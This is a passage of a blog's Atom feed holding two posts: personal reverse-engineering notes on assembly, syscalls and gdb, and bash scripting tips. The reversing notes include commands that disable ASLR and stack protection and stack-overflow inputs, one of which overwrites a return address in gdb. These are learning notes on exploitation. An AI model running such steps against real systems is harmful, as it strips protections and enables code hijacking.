id="line-98"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-99"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-100"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-101"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-102"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;movl    $1,%eax&lt;br /&gt;movl    $0xff,%ebx&lt;br /&gt;int     $0x80&lt;/pre&gt;&lt;span class="anchor" id="line-103"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;As  you may have noticed, the AT&amp;amp;T syntax mnemonics have a suffix. The  significance of this suffix is that of operand size. 'l' is for long,  'w' is for word, and 'b' is for byte. Intel syntax has similar  directives for use with memory operands, i.e. byte ptr, word ptr, dword  ptr. "dword" of course corresponding to "long". This is similar to type  casting in C but it doesnt seem to be necessary since the size of  registers used is the assumed datatype. &lt;span class="anchor" id="line-104"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-105"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-106"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Movingdatatoregisters"&gt;Moving data to registers&lt;/h3&gt;&lt;span class="anchor" id="line-107"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;when coding something like: &lt;span class="anchor" id="line-108"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-109"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-110"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-111"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;mov ax,4&lt;/pre&gt;&lt;span class="anchor" id="line-112"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;its  possible that the high part of eax is polluted from previous actions  and you don't get the results you wanted, thus better use: &lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-115"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-116"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;mov eax,4&lt;/pre&gt;&lt;span class="anchor" id="line-117"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;or &lt;span class="anchor" id="line-118"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-119"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-120"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-121"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-122"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;xor eax,eax&lt;br /&gt;mov ax,4&lt;/pre&gt;&lt;span class="anchor" id="line-123"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-124"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Compiling.2Cliking..executing.28linux.29"&gt;Compiling,liking..executing (linux)&lt;/h3&gt;&lt;span class="anchor" id="line-125"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;ASM code -&amp;gt; machine code &lt;span class="anchor" id="line-126"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-127"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-128"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-129"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;nasm -f elf &amp;lt;program.s&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-130"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;machine code -(linker)-&amp;gt; executable binary &lt;span class="anchor" id="line-131"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-132"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-133"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-134"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;gcc &amp;lt;program.o&amp;gt; -o &amp;lt;program&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-135"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;executing &lt;span class="anchor" id="line-136"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-137"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-138"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-139"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;./&amp;lt;program&amp;gt;&lt;/pre&gt;&lt;span class="anchor" id="line-140"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-141"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Standardinput.2Coutput..."&gt;Standard input, output...&lt;/h3&gt;&lt;span class="anchor" id="line-142"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;stdout=screen=1 &lt;span class="anchor" id="line-143"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;stdin=keyboard=0 &lt;span class="anchor" id="line-144"&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-145"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Syscalls"&gt;Syscalls&lt;/h3&gt;&lt;span class="anchor" id="line-146"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;They are invoked by an interruption and require some parameters that are provided in the registers (eax,ebx,etc). &lt;span class="anchor" id="line-147"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;table style="width: 200px;"&gt;&lt;tbody&gt;&lt;tr&gt;  &lt;td&gt;&lt;div class="line862"&gt;SYSCALL # &lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;action &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-148"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;4 &lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;write &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td&gt;&lt;span class="anchor" id="line-149"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;5 &lt;/div&gt;&lt;/td&gt;   &lt;td&gt;&lt;div class="line862"&gt;read &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span class="anchor" id="line-150"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-151"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-152"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;For reference, system call numbers can be found in /usr/include/asm/unistd.h. &lt;span class="anchor" id="line-153"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-154"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-155"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Comparenumberssample"&gt;Compare numbers sample&lt;/h3&gt;&lt;span class="anchor" id="line-156"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Read two numbers and say which one is bigger &lt;span class="anchor" id="line-157"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-158"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-159"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Stackaddressrandomization"&gt;Stack address randomization&lt;/h3&gt;&lt;span class="anchor" id="line-160"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Ways to check whether it is enabled or not (Debian like) &lt;span class="anchor" id="line-161"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-162"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-163"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-164"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-165"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;#cat /proc/sys/kernel/randomize_va_space&lt;br /&gt;/* or  */&lt;br /&gt;#sysctl kernel.randomize_va_space&lt;/pre&gt;&lt;span class="anchor" id="line-166"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;To disable it &lt;span class="anchor" id="line-167"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-168"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-169"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-170"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-171"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;br /&gt;/*  or   */&lt;br /&gt;sysctl -w kernel.randomize_va_space=0&lt;/pre&gt;&lt;span class="anchor" id="line-172"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-173"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Stackexecutionprevention"&gt;Stack execution prevention&lt;/h3&gt;&lt;span class="anchor" id="line-174"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Stack  execution prevention deactivates the stack addresses as executable. Thus  EIP cannot point to an address considered as stack space. &lt;span class="anchor" id="line-175"&gt;&lt;/span&gt;It is disabled at compilation time with &lt;span class="anchor" id="line-176"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-177"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-178"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;$ gcc -fno-stack-protector -z execstack vulnerable.c&lt;/pre&gt;&lt;span class="anchor" id="line-179"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;-fno-stack-protector disables SSP (stack guard) &lt;span class="anchor" id="line-180"&gt;&lt;/span&gt;-z execstack marks the stack as executable &lt;span class="anchor" id="line-181"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-182"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Fillingthestack"&gt;Filling the stack&lt;/h3&gt;&lt;span class="anchor" id="line-183"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The genuine-oldskool: &lt;span class="anchor" id="line-184"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-185"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-186"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-187"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;./victim `perl -e "print 'a'x256"`&lt;br /&gt;Segmentation fault&lt;/pre&gt;&lt;span class="anchor" id="line-188"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;or &lt;span class="anchor" id="line-189"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-190"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-191"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-192"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;./victim $(printf "%0512x")&lt;br /&gt;Segmentation fault&lt;/pre&gt;&lt;span class="anchor" id="line-193"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;from inside gdb &lt;span class="anchor" id="line-194"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-195"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-196"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;(gdb) run `perl -e 'print "a"x516,"\xa8\xf5\xff\xbf"'`&lt;/pre&gt;&lt;span class="anchor" id="line-197"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-198"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="I.28L.29Coredumps"&gt;I (L) Coredumps&lt;/h3&gt;&lt;span class="anchor" id="line-199"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-200"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-201"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-202"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-203"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-204"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;#ulimit -c unlimited&lt;br /&gt;# ./victim $(printf "%0512x")&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;#gdb -c core&lt;/pre&gt;&lt;span class="anchor" id="line-205"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-206"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="UnderstandingGDBerrors"&gt;Understanding GDB errors&lt;/h3&gt;&lt;span class="anchor" id="line-207"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;After inserting a seemingly correct breakpoint you get this error when starting your debugged program &lt;span class="anchor" id="line-208"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-209"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-210"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-211"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;Cannot insert Breakpoint N.&lt;br /&gt;Error accessing memory address XXXXXX: input/output error.&lt;/pre&gt;&lt;span class="anchor" id="line-212"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;This  will be probably caused because the address you specified as breakpoint  does not match with the beginning of an instruction. &lt;span class="anchor" id="line-213"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-214"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-215"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="LINKs"&gt;LINKs&lt;/h2&gt;&lt;span class="anchor" id="line-216"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;Small easy to follow tutorial about Assembly basics: &lt;a class="http" href="http://asm.sourceforge.net/articles/linasm.html#Syntax"&gt;http://asm.sourceforge.net/articles/linasm.html#Syntax&lt;/a&gt; &lt;span class="anchor" id="line-217"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Some Spanish howtos: &lt;a class="http" href="http://www.bhats.org/"&gt;http://www.bhats.org&lt;/a&gt; &lt;span class="anchor" id="line-218"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Basic howto of gdb counting with source code &lt;a class="http" href="http://www.cs.cmu.edu/%7Egilpin/tutorial/"&gt;http://www.cs.cmu.edu/~gilpin/tutorial/&lt;/a&gt; &lt;span class="anchor" id="line-219"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Brief description of gdb commands &lt;a class="http" href="http://developer.apple.com/documentation/developertools/gdb/gdb/gdb_14.html"&gt;http://developer.apple.com/documentation/developertools/gdb/gdb/gdb_14.html&lt;/a&gt; &lt;span class="anchor" id="line-220"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Useful tools listing: &lt;a class="http" href="http://projectshellcode.com/?q=node/9"&gt;http://projectshellcode.com/?q=node/9&lt;/a&gt; &lt;span class="anchor" id="line-221"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;Some notes about memory alignment on modern kernels &lt;a class="http" href="http://www.milw0rm.com/papers/82"&gt;http://www.milw0rm.com/papers/82&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-6456712626945511387?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/6456712626945511387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/reversing-scratch-book.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/6456712626945511387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/6456712626945511387'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/reversing-scratch-book.html' title='Reversing Scratch Book'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-4734690209921468459</id><published>2010-11-27T21:15:00.001-05:00</published><updated>2011-01-23T01:32:30.068-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='shellscript'/><title type='text'>ShellScript Nightmares</title><content type='html'>&lt;h1 id="ShellScriptNightmares"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Objective.3ASOSwith.22Hell.22scripting"&gt;Objective: SOS with "Hell" scripting ;)&lt;/h2&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;This post is a  scratch book to collect some tips about shell script programming that  have caused me some silly headaches since I started using Linux and Its  useful shell scripting features &lt;/div&gt;&lt;div class="table-of-contents"&gt;&lt;div class="table-of-contents-heading"&gt;Contents&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#ShellScriptNightmares"&gt;ShellScript Nightmares&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Objective.3ASOSwith.22Hell.22scripting"&gt;Objective: SOS with "Hell" scripting&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Debuging"&gt;Debugging&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#IFS"&gt;IFS&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Stringassignment"&gt;String assignment&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Conditionals"&gt;Conditionals&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Stringcomparison"&gt;String comparison&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Commandoutputassignment"&gt;Command output assignment&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Numbercomparison"&gt;Number comparison&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Functionreturnvalue"&gt;Function return value&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Debugginhelp"&gt;Debugging help&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Floatingpointcalculation"&gt;Floating point calculation&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Strictlyintegervariables"&gt;Strictly integer variables&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Basharrays"&gt;Bash arrays&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/ShellScriptNightmaresPost#Concurrentexecution"&gt;Concurrent execution&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-9"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Debuging"&gt;Debugging&lt;/h3&gt;&lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;When you are in trouble maybe this can help and provide you better debugging info than when running your shell script normally &lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;sh -x shellscript.sh&lt;/pre&gt;&lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-15"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="IFS"&gt;IFS&lt;/h3&gt;&lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;IFS is a  system var that defines what is considered the field separator in a list  when being parsed by a loop. If you don't define it properly you won't  get the desired results.This &lt;/div&gt;&lt;pre&gt;for i in `cat /etc/services`; do echo $i; done&lt;/pre&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;is not the same as this &lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;IFS=$'\n';for i in `cat /etc/services`; do echo $i; done&lt;/pre&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;So for god shake be very careful with the &lt;b&gt; ' &lt;/b&gt; marks and the &lt;b&gt;$&lt;/b&gt;  ...why this?? i took me enough time to discover this to research why,  anyway Ill be graceful if you sent me an email in case you know &lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-28"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Stringassignment"&gt;String assignment&lt;/h3&gt;&lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;As a good  programmer or good-wannabe programmer you may want your code to be clean  an readable, thus you may assign values something like this &lt;b&gt;foo = 7&lt;/b&gt;. NOPE NOPE NOPE, your shell is not going to like it, it expects &lt;b&gt;foo=7&lt;/b&gt;, this is no spaces in between &lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-31"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Conditionals"&gt;Conditionals&lt;/h3&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;If clauses can be used like this: &lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-40"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-41"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-42"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-43"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;if [ expression ]&lt;br /&gt;then&lt;br /&gt;    &amp;lt;actions_if_true&amp;gt;&lt;br /&gt;else&lt;br /&gt;    &amp;lt;actions_if_false&amp;gt;&lt;br /&gt;fi&lt;br /&gt;#or&lt;br /&gt;[[ &amp;lt;expression&amp;gt; ]] &amp;amp;&amp;amp; &amp;lt;actions_if_true&amp;gt; || &amp;lt;actions_if_false&amp;gt;&lt;br /&gt;#or using the "test" clause&lt;/pre&gt;&lt;span class="anchor" id="line-44"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;It is very important to respect the blank spaces between the brackets &lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-46"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;In order to use double conditions, it should be &lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;# expression1 and expression2 must be true&lt;br /&gt;if [ expression1 -a expression2 ]&lt;br /&gt;if [ expression1 ] &amp;amp;&amp;amp; [ expression2 ]&lt;br /&gt;# either expression1 or expression2 have to be true&lt;br /&gt;if [ expression1 -o expression2 ]&lt;br /&gt;if [ expression1 ] || [ expression2 ]&lt;/pre&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-56"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Stringcomparison"&gt;String comparison&lt;/h3&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;After reading the last tip you would use string comparison inside conditional clauses like this: &lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;if [ $foo="something" ]&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;NOOOOOOOOOOOOPE!!  Shell scripting does not like it this way, you should separate it or It  will understand you are just assigning. This should be correct: &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;if [ $foo = "something" ]&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;By the way take care with strings that contain blank spaces, in that case your comparison should look like: &lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;if [ "$foo" = "something containing blank spaces" ]&lt;br /&gt;...&lt;/pre&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Commandoutputassignment"&gt;Command output assignment&lt;/h3&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;In the same  way you assign a value to a variable you can assign the output of a  function or external command, to do so you would use the following  syntax: &lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;foo=`cat /etc/services`&lt;/pre&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Bear in mind there shouldn't be any blank space surrounding the &lt;b&gt;=&lt;/b&gt; sign &lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" 